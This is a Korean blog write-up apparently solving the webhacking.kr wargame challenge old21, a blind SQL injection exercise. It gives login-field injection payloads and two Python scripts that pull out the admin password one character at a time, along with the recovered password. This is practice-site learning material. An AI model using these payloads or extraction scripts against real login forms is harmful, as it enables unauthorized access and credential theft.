webhacking.kr - old21
2021. 3. 25. 12:48ㆍWarGame/webhaking.kr
해당 문제를 접속하면 처음부터 bsqli 이라고 알려줍니다.
id = admin
pw = admin
을 입력해보면
login fail 이라고 뜹니다.
그럼 sqli 구문을 사용해보면
id = admin
pw = 1'or'1=1'-- -
쿼리가 참이면 wrong password
id = admin
pw = 1'and''1=2'-- -
쿼리가 거짓이면 login fail을 출력하는 것 같습니다 :)
따라서 pw의 문자열의 길이를 구하는 payload를 작성하고,
id = admin
pw = 1' or length(pw)=36 and '1=1'-- -
36자리인 것을 확인할 수 있고,
실제 password를 구하는 payload를 작성합니다.
one.py(뒤에서부터구함)
import requests
import string
url = "https://webhacking.kr/challenge/bonus-1/index.php?id=admin&pw="
password = ""
for j in range(1, 37) :
i = 133
while(1) :
URL = url + "1\' or ascii(substr(pw," + str(j) + ", 1)) = " + str(i) + " and \'1=1\'-- -"
print(URL)
response = requests.get(URL)
if "wrong password" in response.text :
print("[+] " + str(j) + "th password is " + str(chr(i)))
password += str(chr(i))
print("now password = " + password)
break
i = i-1
위와 같이 실행하면
two.py(앞에서부터 구함)
import requests
import string
url = "https://webhacking.kr/challenge/bonus-1/index.php?id=admin&pw="
password = ""
for j in range(1, 37) :
i = 33
while(1) :
URL = url + "1\' or ascii(substr(pw," + str(j) + ", 1)) = " + str(i) + " and \'1=1\'-- -"
print(URL)
response = requests.get(URL)
if "wrong password" in response.text :
print("[+] " + str(j) + "th password is " + str(chr(i)))
password += str(chr(i))
print("now password = " + password)
break
i = i+1
one.py 결과물 : tuest_is_no_rest_for_the_white_angel
two.py 결과물 : ghere_is_no_rest_for_the_white_angel
왜 이렇게 두개 값이 다른지는 모르겠는데(pw가 아닌게 걸리는지)
두개를 조합해보면 아래와 같다.
password : "there_is_no_rest_for_the_white_angel"
'WarGame > webhaking.kr' 카테고리의 다른 글
webhacking.kr - old5 (0) | 2021.03.30 |
---|---|
webhacking.kr - old7 (0) | 2021.03.29 |
webhacking.kr - old51 (0) | 2021.03.25 |
webhacking.kr - old56 (0) | 2021.03.24 |
webhacking.kr - old34 (0) | 2021.03.23 |